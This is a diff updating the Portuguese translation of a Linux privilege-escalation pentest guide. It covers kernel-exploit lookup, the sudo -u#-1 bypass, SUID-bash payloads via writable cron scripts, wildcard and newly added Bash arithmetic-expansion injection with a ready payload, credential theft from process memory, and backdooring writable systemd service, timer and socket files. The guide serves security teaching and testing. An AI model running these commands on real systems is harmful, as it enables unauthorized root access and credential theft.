diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 1efc4d578..b8276a823 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -4,9 +4,9 @@ ## Informações do Sistema -### Informações do SO +### Info do OS -Vamos começar a obter algum conhecimento sobre o sistema operacional em execução +Vamos começar a obter informações sobre o OS em execução ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems @@ -14,7 +14,7 @@ cat /etc/os-release 2>/dev/null # universal on modern systems ``` ### PATH -Se você **tem permissões de escrita em qualquer pasta dentro da variável `PATH`**, pode ser capaz de hijack some libraries or binaries: +Se você **tem permissões de escrita em qualquer diretório dentro da variável `PATH`**, pode conseguir sequestrar algumas bibliotecas ou binários: ```bash echo $PATH ``` @@ -26,13 +26,13 @@ Informações interessantes, senhas ou chaves de API nas variáveis de ambiente? ``` ### Kernel exploits -Verifique a versão do kernel e se existe algum exploit que possa ser usado para escalar privilégios +Verifique a versão do kernel e se há algum exploit que possa ser usado para escalate privileges ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -Você pode encontrar uma boa lista de kernels vulneráveis e alguns **compiled exploits** prontos aqui: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +Você pode encontrar uma boa lista de kernels vulneráveis e alguns já **compiled exploits** aqui: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) e [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ Outros sites onde você pode encontrar alguns **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) Para extrair todas as versões de kernel vulneráveis desse site você pode fazer: @@ -43,9 +43,9 @@ Ferramentas que podem ajudar a procurar kernel exploits são: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (executar IN victim, apenas verifica exploits para kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (executar no victim, apenas verifica exploits para kernel 2.x) -Sempre **pesquise a versão do kernel no Google**, talvez sua versão do kernel esteja escrita em algum kernel exploit e assim você terá certeza de que esse exploit é válido. +Sempre **pesquise a versão do kernel no Google**, talvez a versão do seu kernel esteja mencionada em algum kernel exploit e assim você terá certeza de que esse exploit é válido. ### CVE-2016-5195 (DirtyCow) @@ -57,13 +57,13 @@ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` -### Sudo versão +### Versão do Sudo -Com base nas versões vulneráveis do sudo que aparecem em: +Com base nas versões vulneráveis do Sudo que aparecem em: ```bash searchsploit sudo ``` -Você pode verificar se a versão do sudo é vulnerável usando este grep. +Você pode verificar se a versão do sudo está vulnerável usando este grep. ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` @@ -73,9 +73,9 @@ Por @sickrov ``` sudo -u#-1 /bin/bash ``` -### Dmesg verificação de assinatura falhou +### Dmesg: verificação da assinatura falhou -Confira **smasher2 box of HTB** para um **exemplo** de como esta vuln poderia ser explorada +Veja **smasher2 box of HTB** para um **exemplo** de como esta vuln poderia ser explorada ```bash dmesg 2>/dev/null | grep "signature" ``` @@ -123,7 +123,7 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -Se você estiver dentro de um docker container you can try to escape from it: +Se você estiver dentro de um docker container, pode tentar escapar dele: {{#ref}} @@ -132,7 +132,7 @@ docker-security/ ## Unidades -Verifique **o que está mounted e unmounted**, onde e por quê. Se algo estiver unmounted, você pode tentar montá-lo e verificar por informações privadas. +Verifique **o que está montado e desmontado**, onde e por que. Se algo estiver desmontado, você pode tentar montá-lo e verificar se há informações privadas ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -141,60 +141,60 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ``` ## Software útil -Enumere binários úteis +Enumerar binários úteis ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -Além disso, verifique se **algum compilador está instalado**. Isso é útil se você precisar usar algum kernel exploit, pois é recomendado compilá-lo na máquina onde você vai usá-lo (ou em uma semelhante). +Verifique também se **qualquer compiler está instalado**. Isso é útil se você precisar usar algum kernel exploit, pois é recomendado compile it na máquina onde você vai usá‑lo (ou em uma semelhante). ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` ### Software Vulnerável Instalado -Verifique a **versão dos pacotes e serviços instalados**. Pode haver uma versão antiga do Nagios (por exemplo) que poderia ser explorada para escalating privileges…\ +Verifique a **versão dos pacotes e serviços instalados**. Talvez exista alguma versão antiga do Nagios (por exemplo) que possa ser explorada para escalating privileges…\ Recomenda-se verificar manualmente a versão dos softwares instalados mais suspeitos. ```bash dpkg -l #Debian rpm -qa #Centos ``` -Se você tiver acesso SSH à máquina, também pode usar **openVAS** para verificar se existe software desatualizado e vulnerável instalado na máquina. +Se você tiver acesso SSH à máquina, também pode usar **openVAS** para verificar se há software desatualizado e vulnerável instalado na máquina. -> [!NOTE] > _Observe que esses comandos vão mostrar muita informação que, na maior parte, será inútil; portanto, recomenda-se usar aplicações como OpenVAS ou similares que verifiquem se alguma versão de software instalada é vulnerável a exploits conhecidos_ +> [!NOTE] > _Observe que estes comandos exibirão muitas informações que na maior parte serão inúteis, portanto é recomendado usar algumas aplicações como OpenVAS ou similares que verificarão se alguma versão de software instalada é vulnerável a exploits conhecidos_ ## Processos -Dê uma olhada em **quais processos** estão sendo executados e verifique se algum processo tem **mais privilégios do que deveria** (talvez um tomcat sendo executado pelo root?) +Dê uma olhada em **quais processos** estão sendo executados e verifique se algum processo tem **mais privilégios do que deveria** (talvez um tomcat sendo executado por root?) ```bash ps aux ps -ef top -n 1 ``` -Sempre verifique se há [**electron/cef/chromium debuggers** em execução — você poderia abusar disso para escalar privilégios](electron-cef-chromium-debugger-abuse.md). **Linpeas** detecta esses verificando o parâmetro `--inspect` dentro da linha de comando do processo.\ -Além disso **verifique seus privilégios sobre os binários dos processos**, talvez você consiga sobrescrever algum. +Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ +Also **check your privileges over the processes binaries**, maybe you can overwrite someone. ### Process monitoring -Você pode usar ferramentas como [**pspy**](https://github.com/DominicBreuker/pspy) para monitorar processos. Isso pode ser muito útil para identificar processos vulneráveis sendo executados frequentemente ou quando um conjunto de requisitos é atendido. +Você pode usar ferramentas como [**pspy**](https://github.com/DominicBreuker/pspy) para monitorar processos. Isso pode ser muito útil para identificar processos vulneráveis sendo executados com frequência ou quando um conjunto de requisitos é atendido. ### Process memory -Alguns serviços de um servidor salvam **credenciais em texto claro dentro da memória**.\ -Normalmente você precisará de **privilégios root** para ler a memória de processos que pertencem a outros usuários, portanto isso geralmente é mais útil quando você já é root e quer descobrir mais credenciais.\ -No entanto, lembre-se que **como usuário comum você pode ler a memória dos processos que possui**. +Alguns serviços de um servidor salvam **credenciais em texto claro na memória**.\ +Normalmente você precisará de **privilégios root** para ler a memória de processos que pertencem a outros usuários; portanto isso costuma ser mais útil quando você já é root e quer descobrir mais credenciais.\ +No entanto, lembre-se de que **como um usuário regular você pode ler a memória dos processos que possui**. > [!WARNING] -> Note que hoje em dia a maioria das máquinas **não permite ptrace por padrão**, o que significa que você não pode fazer dump de outros processos que pertençam ao seu usuário sem privilégios. +> Note that nowadays most machines **don't allow ptrace by default** which means that you cannot dump other processes that belong to your unprivileged user. > -> O arquivo _**/proc/sys/kernel/yama/ptrace_scope**_ controla a acessibilidade do ptrace: +> The file _**/proc/sys/kernel/yama/ptrace_scope**_ controls the accessibility of ptrace: > -> - **kernel.yama.ptrace_scope = 0**: todos os processos podem ser depurados, contanto que tenham o mesmo uid. Esta é a forma clássica de como o ptrace funcionava. -> - **kernel.yama.ptrace_scope = 1**: apenas um processo pai pode ser depurado. -> - **kernel.yama.ptrace_scope = 2**: apenas admin pode usar ptrace, pois requer a capability CAP_SYS_PTRACE. -> - **kernel.yama.ptrace_scope = 3**: nenhum processo pode ser rastreado com ptrace. Uma vez definido, é necessário um reboot para habilitar ptrace novamente. +> - **kernel.yama.ptrace_scope = 0**: all processes can be debugged, as long as they have the same uid. This is the classical way of how ptracing worked. +> - **kernel.yama.ptrace_scope = 1**: only a parent process can be debugged. +> - **kernel.yama.ptrace_scope = 2**: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability. +> - **kernel.yama.ptrace_scope = 3**: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again. #### GDB -Se você tiver acesso à memória de um serviço FTP (por exemplo) você poderia obter o Heap e procurar dentro dele por credenciais. +Se você tiver acesso à memória de um serviço FTP (por exemplo) você pode obter a Heap e procurar dentro dela por credenciais. ```bash gdb -p (gdb) info proc mappings @@ -216,7 +216,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Para um determinado PID, os **maps mostram como a memória é mapeada dentro do espaço de endereçamento virtual desse processo**; também mostram as **permissões de cada região mapeada**. O pseudo-arquivo **mem** **expõe a própria memória do processo**. A partir do arquivo **maps** sabemos quais **regiões de memória são legíveis** e seus offsets. Usamos essa informação para **seek into the mem file and dump all readable regions** para um arquivo. +Para um determinado ID do processo, **maps** mostram como a memória é mapeada dentro do espaço de endereçamento virtual desse processo; também mostra as **permissões de cada região mapeada**. O arquivo pseudo **mem** **exibe a própria memória do processo**. A partir do arquivo **maps** sabemos quais **regiões de memória são legíveis** e seus offsets. Usamos essa informação para **seek into the mem file and dump all readable regions** para um arquivo. ```bash procdump() ( @@ -232,13 +232,13 @@ rm $1*.bin #### /dev/mem `/dev/mem` fornece acesso à memória **física** do sistema, não à memória virtual. O espaço de endereçamento virtual do kernel pode ser acessado usando /dev/kmem.\ -Tipicamente, `/dev/mem` só pode ser lido por **root** e pelo grupo **kmem**. +Tipicamente, `/dev/mem` é apenas legível por **root** e pelo grupo **kmem**. ``` strings /dev/mem -n10 | grep -i PASS ``` -### ProcDump para linux +### ProcDump para Linux -ProcDump é uma recriação para Linux da clássica ferramenta ProcDump da suíte Sysinternals para Windows. Disponível em [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump é uma reimaginação para Linux da clássica ferramenta ProcDump da suíte Sysinternals para Windows. Obtenha em [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -267,13 +267,13 @@ Press Ctrl-C to end monitoring without terminating the process. ``` ### Ferramentas -To dump a process memory you could use: +Para fazer o dump da memória de um processo, você pode usar: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Você pode remover manualmente os requisitos de root e dumpar o processo que pertence a você -- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root é necessário) +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Você pode remover manualmente os requisitos de root e dumpar o processo que lhe pertence +- Script A.5 do [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root é necessário) -### Credenciais da memória do processo +### Credenciais da Memória do Processo #### Exemplo manual @@ -282,7 +282,7 @@ Se você encontrar que o processo authenticator está em execução: ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -Você pode fazer dump do process (veja as seções anteriores para encontrar diferentes maneiras de fazer dump da memory de um process) e procurar por credentials dentro da memory: +Você pode dump the process (veja as seções anteriores para encontrar diferentes maneiras de dump the memory of a process) e procurar por credentials dentro da memória: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password @@ -291,16 +291,16 @@ strings *.dump | grep -i password A ferramenta [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) irá **roubar credenciais em texto claro da memória** e de alguns **arquivos bem conhecidos**. Requer privilégios de root para funcionar corretamente. -| Funcionalidade | Nome do Processo | +| Funcionalidade | Nome do Processo | | ------------------------------------------------- | -------------------- | | GDM password (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | | LightDM (Ubuntu Desktop) | lightdm | -| VSFTPd (Active FTP Connections) | vsftpd | -| Apache2 (Active HTTP Basic Auth Sessions) | apache2 | -| OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | +| VSFTPd (Conexões FTP ativas) | vsftpd | +| Apache2 (Sessões HTTP Basic Auth ativas) | apache2 | +| OpenSSH (Sessões SSH ativas - Uso de sudo) | sshd: | -#### Expressões Regulares de Busca/[truffleproc](https://github.com/controlplaneio/truffleproc) +#### Regexes de busca/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash # un truffleproc.sh against your current Bash shell (e.g. $$) ./truffleproc.sh $$ @@ -314,66 +314,91 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## Tarefas agendadas / Cron jobs +## Tarefas agendadas/Cron jobs -Verifique se alguma tarefa agendada é vulnerável. Talvez você consiga tirar proveito de um script executado pelo root (wildcard vuln? pode modificar arquivos que o root usa? usar symlinks? criar arquivos específicos no diretório que o root usa?). +Verifique se alguma tarefa agendada está vulnerável. Talvez você possa tirar proveito de um script executado pelo root (wildcard vuln? pode modificar arquivos que root usa? usar symlinks? criar arquivos específicos no diretório que root usa?). ```bash crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` -### Caminho do cron +### Cron path Por exemplo, dentro de _/etc/crontab_ você pode encontrar o PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_Repare que o usuário "user" tem privilégios de escrita sobre /home/user_) +(_Observe como o usuário "user" tem privilégios de escrita sobre /home/user_) -Se dentro desse crontab o usuário root tenta executar algum comando ou script sem definir o PATH. Por exemplo: _\* \* \* \* root overwrite.sh_\ +Se dentro deste crontab o usuário root tentar executar algum comando ou script sem definir o PATH. Por exemplo: _\* \* \* \* root overwrite.sh_\ Então, você pode obter um shell root usando: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron usando um script com um wildcard (Wildcard Injection) +### Cron using a script with a wildcard (Wildcard Injection) -Se um script executado pelo root tem um “**\***” dentro de um comando, você pode explorar isso para provocar comportamentos inesperados (como privesc). Exemplo: +Se um script executado por root tiver um “**\***” dentro de um comando, você pode explorar isso para provocar comportamentos inesperados (como privesc). Exemplo: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**Se o curinga for precedido de um caminho como** _**/some/path/\***_ **, ele não é vulnerável (até mesmo** _**./\***_ **não é).** +**Se o wildcard for precedido por um caminho como** _**/some/path/\***_ **, não é vulnerável (nem** _**./\***_ **é).** + +Leia a página a seguir para mais truques de exploração de wildcard: -Leia a página a seguir para mais truques de exploração de curingas: {{#ref}} wildcards-spare-tricks.md {{#endref}} -### Sobrescrita de script do cron e symlink -Se você **puder modificar um script do cron** executado pelo root, você pode obter um shell muito facilmente: +### Bash arithmetic expansion injection in cron log parsers + +Bash executa parameter expansion e command substitution antes da arithmetic evaluation em ((...)), $((...)) e let. Se um root cron/parser lê campos de log não confiáveis e os alimenta em um contexto aritmético, um atacante pode injetar um command substitution $(...) que é executado como root quando o cron roda. + +- Por que funciona: Em Bash, as expansões ocorrem nesta ordem: parameter/variable expansion, command substitution, arithmetic expansion, depois word splitting e pathname expansion. Então um valor como `$(/bin/bash -c 'id > /tmp/pwn')0` é primeiro substituído (executando o comando), então o `0` numérico restante é usado na aritmética e o script continua sem erros. + +- Padrão tipicamente vulnerável: +```bash +#!/bin/bash +# Example: parse a log and "sum" a count field coming from the log +while IFS=',' read -r ts user count rest; do +# count is untrusted if the log is attacker-controlled +(( total += count )) # or: let "n=$count" +done < /var/www/app/log/application.log +``` + +- Exploração: Faça com que texto controlado pelo atacante seja escrito no log parseado de modo que o campo que parece numérico contenha um command substitution e termine com um dígito. Garanta que seu comando não escreva em stdout (ou redirecione) para que a aritmética permaneça válida. +```bash +# Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): +$(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 +# When the root cron parser evaluates (( total += count )), your command runs as root. +``` + +### Cron script overwriting and symlink + +Se você **puder modificar um cron script** executado por root, pode obter um shell muito facilmente: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -Se o script executado por root usa um **diretório onde você tem acesso total**, talvez seja útil apagar essa pasta e **criar um link simbólico para outra pasta** apontando para um script controlado por você +Se o script executado por root usa um **diretório onde você tem acesso total**, pode ser útil apagar essa pasta e **criar um symlink para outra** que sirva um script controlado por você ```bash ln -d -s ``` ### Cron jobs frequentes -Você pode monitorar os processos para procurar por processos que estão sendo executados a cada 1, 2 ou 5 minutos. Talvez você consiga tirar vantagem disso e escalate privileges. +Você pode monitorar os processos para procurar por processos que estão sendo executados a cada 1, 2 ou 5 minutos. Talvez você possa tirar vantagem disso e escalate privileges. -Por exemplo, para **monitorar a cada 0.1s durante 1 minuto**, **ordenar pelos comandos menos executados** e deletar os comandos que foram executados com mais frequência, você pode fazer: +Por exemplo, para **monitorar a cada 0.1s durante 1 minuto**, **ordenar pelos comandos menos executados** e deletar os comandos que foram mais executados, você pode fazer: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**Você também pode usar** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (isto irá monitorar e listar cada processo que iniciar). +**Você também pode usar** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (isso vai monitorar e listar todo processo que iniciar). ### Cron jobs invisíveis -É possível criar um cronjob **colocando um carriage return após um comentário** (sem caractere de nova linha), e o cronjob funcionará. Exemplo (observe o caractere carriage return): +É possível criar um cronjob **inserindo um carriage return após um comentário** (sem o caractere de nova linha), e o cron job funcionará. Exemplo (observe o caractere carriage return): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` @@ -381,57 +406,57 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ### Arquivos _.service_ graváveis -Verifique se você pode escrever algum arquivo `.service`, se puder, você **poderia modificá-lo** para que ele **execute** seu **backdoor quando** o serviço for **iniciado**, **reiniciado** ou **parado** (talvez você precise esperar até que a máquina seja reiniciada).\ +Verifique se você pode escrever algum arquivo `.service`. Se puder, você **pode modificá-lo** para que **execute** seu **backdoor quando** o serviço for **iniciado**, **reiniciado** ou **parado** (talvez você precise esperar até que a máquina seja reiniciada).\ Por exemplo, crie seu backdoor dentro do arquivo .service com **`ExecStart=/tmp/script.sh`** ### Binários de serviço graváveis -Lembre-se de que se você tem **permissão de escrita sobre binários executados por serviços**, você pode substituí-los por backdoors, assim quando os serviços forem reexecutados os backdoors serão executados. +Tenha em mente que, se você tiver **permissão de escrita sobre binários executados por serviços**, pode alterá-los para incluir backdoors, de modo que, quando os serviços forem reexecutados, os backdoors serão executados. -### systemd PATH - Caminhos Relativos +### systemd PATH - Caminhos relativos Você pode ver o PATH usado pelo **systemd** com: ```bash systemctl show-environment ``` -Se descobrir que pode **write** em qualquer uma das pastas do caminho, talvez consiga **escalate privileges**. Você precisa procurar por arquivos com **relative paths being used on service configurations**, como: +Se você descobrir que pode **write** em qualquer uma das pastas do caminho, talvez consiga **escalate privileges**. Você precisa procurar por **relative paths being used on service configurations** em arquivos como: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Então, crie um **executável** com o **mesmo nome que o binário do caminho relativo** dentro da pasta do PATH do systemd que você pode escrever, e quando o serviço for solicitado a executar a ação vulnerável (**Start**, **Stop**, **Reload**), seu **backdoor será executado** (usuários não privilegiados normalmente não podem iniciar/parar serviços, mas verifique se você pode usar `sudo -l`). +Então, crie um **executável** com o **mesmo nome que o binário do caminho relativo** dentro da pasta PATH do systemd que você conseguir escrever, e quando o serviço for solicitado a executar a ação vulnerável (**Start**, **Stop**, **Reload**), seu **backdoor será executado** (usuários não privilegiados normalmente não podem start/stop services, mas verifique se você pode usar `sudo -l`). -**Saiba mais sobre serviços com `man systemd.service`.** +**Saiba mais sobre services com `man systemd.service`.** ## **Timers** -**Timers** são arquivos de unidade systemd cujo nome termina em `**.timer**` que controlam `**.service**` files ou eventos. **Timers** podem ser usados como uma alternativa ao cron, já que possuem suporte embutido para eventos de tempo de calendário e eventos de tempo monotônico e podem ser executados assincronamente. +**Timers** são systemd unit files cujo nome termina em `**.timer**` que controlam `**.service**` files ou eventos. **Timers** podem ser usados como uma alternativa ao cron, pois têm suporte embutido para eventos de tempo de calendário e eventos de tempo monotônico e podem ser executados de forma assíncrona. Você pode enumerar todos os timers com: ```bash systemctl list-timers --all ``` -### Temporizadores graváveis +### Timers graváveis -Se você puder modificar um timer, pode fazê-lo executar algumas unidades existentes de systemd.unit (como uma `.service` ou uma `.target`). +Se você puder modificar um timer, pode fazê-lo executar algumas unidades existentes de systemd.unit (como um `.service` ou um `.target`) ```bash Unit=backdoor.service ``` -Na documentação você pode ler o que a Unit é: +Na documentação você pode ler o que é a Unit: -> A unit a ser ativada quando esse timer expirar. O argumento é um nome de unit, cujo sufixo não é ".timer". Se não especificado, este valor padrão é um service que tem o mesmo nome da unit do timer, exceto pelo sufixo. (Veja acima.) Recomenda-se que o nome da unit que é ativada e o nome da unit do timer sejam idênticos, exceto pelo sufixo. +> A unit a ser ativada quando este timer expira. O argumento é um nome de unit, cujo sufixo não é ".timer". Se não especificado, este valor padrão é um service que tem o mesmo nome da timer unit, exceto pelo sufixo. (Veja acima.) Recomenda-se que o nome da unit que é ativada e o nome da timer unit sejam idênticos, exceto pelo sufixo. Portanto, para abusar dessa permissão você precisaria: -- Encontrar alguma unit do systemd (como uma `.service`) que está **executando um binário com permissões de escrita** -- Encontrar alguma unit do systemd que está **executando um caminho relativo** e sobre a qual você tem **privilégios de escrita** no **PATH do systemd** (para se passar por esse executável) +- Encontrar alguma systemd unit (como um `.service`) que esteja **executando um binário gravável** +- Encontrar alguma systemd unit que esteja **executando um caminho relativo** e sobre a qual você tenha **privilégios de escrita** no **systemd PATH** (para se passar por esse executável) **Saiba mais sobre timers com `man systemd.timer`.** ### **Ativando Timer** -Para habilitar um timer você precisa de privilégios root e executar: +Para habilitar um timer você precisa de privilégios de root e executar: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. @@ -440,32 +465,31 @@ Observe que o **timer** é **ativado** criando um symlink para ele em `/etc/syst ## Sockets -Unix Domain Sockets (UDS) permitem a **comunicação entre processos** na mesma máquina ou em máquinas diferentes dentro de modelos client-server. Eles utilizam arquivos de descritor Unix padrão para comunicação entre computadores e são configurados através de arquivos `.socket`. +Unix Domain Sockets (UDS) permitem a **comunicação entre processos** na mesma ou em máquinas diferentes dentro de modelos cliente-servidor. Eles utilizam arquivos de descritor Unix padrão para comunicação entre computadores e são configurados através de arquivos `.socket`. Sockets podem ser configurados usando arquivos `.socket`. -**Learn more about sockets with `man systemd.socket`.** Dentro deste arquivo, vários parâmetros interessantes podem ser configurados: +**Saiba mais sobre sockets com `man systemd.socket`.** Dentro deste arquivo, vários parâmetros interessantes podem ser configurados: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Essas opções são diferentes, mas servem de resumo para **indicar onde vai escutar** o socket (o caminho do arquivo de socket AF_UNIX, o IPv4/6 e/ou o número da porta a escutar, etc.) -- `Accept`: Recebe um argumento booleano. Se **true**, uma **instância de service é criada para cada conexão entrante** e apenas o socket da conexão é passado para ela. Se **false**, todos os sockets de escuta são **passados para a unidade service iniciada**, e apenas uma unidade service é criada para todas as conexões. Esse valor é ignorado para datagram sockets e FIFOs onde uma única unidade service lida incondicionalmente com todo o tráfego entrante. **Defaults to false**. Por motivos de performance, é recomendado escrever novos daemons apenas de forma compatível com `Accept=no`. -- `ExecStartPre`, `ExecStartPost`: Recebem uma ou mais linhas de comando, que são **executadas antes** ou **depois** que os **sockets**/FIFOs de escuta sejam **criados** e vinculados, respectivamente. O primeiro token da linha de comando deve ser um nome de arquivo absoluto, seguido dos argumentos para o processo. -- `ExecStopPre`, `ExecStopPost`: Comandos adicionais que são **executados antes** ou **depois** que os **sockets**/FIFOs de escuta sejam **fechados** e removidos, respectivamente. -- `Service`: Especifica o nome da unidade **service** **a ser ativada** no **tráfego entrante**. Essa opção só é permitida para sockets com Accept=no. Por padrão aponta para o service que tem o mesmo nome que o socket (com o sufixo substituído). Na maioria dos casos, não deve ser necessário usar essa opção. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Essas opções são diferentes, mas em resumo são usadas para **indicar onde irá escutar** o socket (o caminho do arquivo de socket AF_UNIX, o IPv4/6 e/ou número da porta a ser escutada, etc.) +- `Accept`: Recebe um argumento booleano. Se **true**, uma **instância de service é gerada para cada conexão de entrada** e apenas o socket da conexão é passado para ela. Se **false**, todos os sockets de escuta são **passados para a unidade service iniciada**, e apenas uma unidade service é iniciada para todas as conexões. Esse valor é ignorado para sockets datagrama e FIFOs, onde uma única unidade service lida incondicionalmente com todo o tráfego de entrada. **Padrão: false**. Por razões de performance, é recomendado escrever novos daemons apenas de forma adequada para `Accept=no`. +- `ExecStartPre`, `ExecStartPost`: Aceitam uma ou mais linhas de comando, que são **executadas antes** ou **depois** dos **sockets**/FIFOs de escuta serem **criados** e vinculados, respectivamente. O primeiro token da linha de comando deve ser um nome de arquivo absoluto, seguido pelos argumentos para o processo. +- `ExecStopPre`, `ExecStopPost`: **Comandos** adicionais que são **executados antes** ou **depois** dos **sockets**/FIFOs de escuta serem **fechados** e removidos, respectivamente. +- `Service`: Especifica o nome da unidade **service** a **ativar** em **tráfego de entrada**. Essa configuração só é permitida para sockets com Accept=no. Por padrão, aponta para o service que tem o mesmo nome que o socket (com o sufixo substituído). Na maioria dos casos, não deve ser necessário usar essa opção. -### Writable .socket files +### Arquivos `.socket` graváveis -Se você encontrar um arquivo `.socket` **gravável** você pode **adicionar** no início da seção `[Socket]` algo como: `ExecStartPre=/home/kali/sys/backdoor` e o backdoor será executado antes do socket ser criado. Portanto, você **provavelmente precisará esperar até que a máquina seja reiniciada.**\ -_Note that the system must be using that socket file configuration or the backdoor won't be executed_ +Se você encontrar um arquivo `.socket` **gravável**, você pode **adicionar** no início da seção `[Socket]` algo como: `ExecStartPre=/home/kali/sys/backdoor` e o backdoor será executado antes do socket ser criado. Portanto, você **provavelmente precisará esperar até que a máquina seja reiniciada.**\ _Observe que o sistema deve estar usando aquela configuração de arquivo socket ou o backdoor não será executado_ -### Writable sockets +### Sockets graváveis -Se você **identificar algum socket gravável** (_agora estamos falando sobre Unix Sockets e não sobre os arquivos de configuração `.socket`_), então **você pode se comunicar** com esse socket e talvez explorar uma vulnerabilidade. +Se você **identificar qualquer socket gravável** (_agora estamos falando de Unix Sockets e não dos arquivos de configuração `.socket`_), então **você pode se comunicar** com esse socket e talvez explorar uma vulnerabilidade. ### Enumerate Unix Sockets ```bash netstat -a -p --unix ``` -### Conexão Raw +### Conexão bruta ```bash #apt-get install netcat-openbsd nc -U /tmp/socket #Connect to UNIX-domain stream socket @@ -483,28 +507,28 @@ socket-command-injection.md ### HTTP sockets -Observe que podem existir alguns **sockets ouvindo requisições HTTP** (_não estou falando sobre .socket files mas sobre os 